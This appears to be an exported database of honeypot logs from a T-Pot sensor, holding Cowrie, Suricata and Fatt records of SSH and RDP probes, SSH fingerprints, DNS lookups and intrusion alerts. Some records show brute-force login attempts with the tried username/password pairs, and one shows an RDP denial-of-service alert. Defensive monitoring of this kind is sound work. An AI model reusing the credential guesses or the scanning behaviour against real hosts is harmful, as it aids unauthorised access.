"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
35222	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:07:18.230561+03	2021-09-20 15:15:02.97069+03	{"_id": "0AYaA3wBvYTbRNuEd1pQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [ilya/ilya] failed", "session": "7ebe3ad8a2c0", "@version": "1", "password": "ilya", "username": "ilya", "timestamp": "2021-09-20T12:07:18.230561Z", "@timestamp": "2021-09-20T12:07:18.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
35223	95.85.8.215	109.199.241.180	Suricata	2021-09-20 15:07:17.943516+03	2021-09-20 15:15:02.971689+03	{"_id": "0gYaA3wBvYTbRNuEeFpw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:07:17.851010+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1399884350880834, "payload": "AAADzAYUDtLuiLU92s2iRajjCqhEwQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60121, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:07:17.943516Z", "@timestamp": "2021-09-20T12:07:17.943Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........=...E..\\n.D....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	NL
35226	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:07:26.027616+03	2021-09-20 15:15:02.977692+03	{"_id": "_QYaA3wBvYTbRNuEmFqm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36202, "timestamp": "2021-09-20T12:07:26.027616", "@timestamp": "2021-09-20T12:07:26.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35227	45.146.165.19	109.199.241.180	Suricata	2021-09-20 15:07:18.808042+03	2021-09-20 15:15:02.97869+03	{"_id": "3QYaA3wBvYTbRNuEfFpX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:18.750864+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 58, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "cve_id": "CVE-2012-0152", "category": "Attempted Denial of Service", "metadata": {"created_at": ["2012_03_13"], "updated_at": ["2012_03_13"]}, "severity": 2, "signature": "ET DOS Microsoft Remote Desktop (RDP) Syn then Reset 30 Second DoS Attempt", "signature_id": 2014384}, "geoip": {}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "45.146.165.19", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 92421144081680, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 52214, "dest_port": 3389, "timestamp": "2021-09-20T12:07:18.808042Z", "@timestamp": "2021-09-20T12:07:18.808Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
35228	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:07:20.785164+03	2021-09-20 15:15:02.980692+03	{"_id": "4AYaA3wBvYTbRNuEgFpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30696, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1530661810273036, "@version": "1", "in_iface": "enp5s0", "src_port": 59881, "dest_port": 53, "timestamp": "2021-09-20T12:07:20.785164Z", "@timestamp": "2021-09-20T12:07:20.785Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35229	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:07:20.786349+03	2021-09-20 15:15:02.981721+03	{"_id": "4QYaA3wBvYTbRNuEgFpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30696, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2234, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1530661810273036, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 59881, "timestamp": "2021-09-20T12:07:20.786349Z", "@timestamp": "2021-09-20T12:07:20.786Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35230	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:07:20.446778+03	2021-09-20 15:15:02.98372+03	{"_id": "3wYaA3wBvYTbRNuEgFpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4663, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2234, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2078426906806678, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48977, "timestamp": "2021-09-20T12:07:20.446778Z", "@timestamp": "2021-09-20T12:07:20.446Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35232	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:07:26.321809+03	2021-09-20 15:15:02.98572+03	{"_id": "-AYaA3wBvYTbRNuEllqU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b8c7fb65aae3", "@version": "1", "timestamp": "2021-09-20T12:07:26.321809Z", "@timestamp": "2021-09-20T12:07:26.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35233	36.27.214.211	109.199.241.180	Suricata	2021-09-20 15:07:26.320991+03	2021-09-20 15:15:02.98769+03	{"_id": "-gYaA3wBvYTbRNuEl1qz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 922273250617271, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36202, "dest_port": 22, "timestamp": "2021-09-20T12:07:26.320991Z", "@timestamp": "2021-09-20T12:07:26.320Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35234	36.27.214.211	109.199.241.180	Fatt	2021-09-20 15:07:26.321177+03	2021-09-20 15:15:02.98869+03	{"_id": "_gYaA3wBvYTbRNuEmFqm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36202, "dest_port": 22, "timestamp": "2021-09-20T12:07:26.321177", "@timestamp": "2021-09-20T12:07:26.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35235	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:07:27.599161+03	2021-09-20 15:15:02.98969+03	{"_id": "_wYaA3wBvYTbRNuEnlpl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [er/123] failed", "session": "b8c7fb65aae3", "@version": "1", "password": "123", "username": "er", "timestamp": "2021-09-20T12:07:27.599161Z", "@timestamp": "2021-09-20T12:07:27.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35236	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:07:28.89793+03	2021-09-20 15:15:02.99169+03	{"_id": "AAYaA3wBvYTbRNuEoltO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b8c7fb65aae3", "@version": "1", "duration": 2.8711698055267334, "timestamp": "2021-09-20T12:07:28.897930Z", "@timestamp": "2021-09-20T12:07:28.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35259	223.241.247.214	109.199.241.180	Suricata	2021-09-20 15:07:53.609538+03	2021-09-20 15:15:03.02269+03	{"_id": "IQYbA3wBvYTbRNuEAVs6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 1710897967519668, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41462, "dest_port": 22, "timestamp": "2021-09-20T12:07:53.609538Z", "@timestamp": "2021-09-20T12:07:53.609Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35237	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:07:15.221814+03	2021-09-20 15:15:02.99269+03	{"_id": "wgYaA3wBvYTbRNuEbFq2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:14.859862+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 57580369092310, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52433, "dest_port": 3389, "timestamp": "2021-09-20T12:07:15.221814Z", "@timestamp": "2021-09-20T12:07:15.221Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35238	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:07:17.899773+03	2021-09-20 15:15:02.99369+03	{"_id": "zgYaA3wBvYTbRNuEd1pQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7ebe3ad8a2c0", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:07:17.899773Z", "@timestamp": "2021-09-20T12:07:17.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
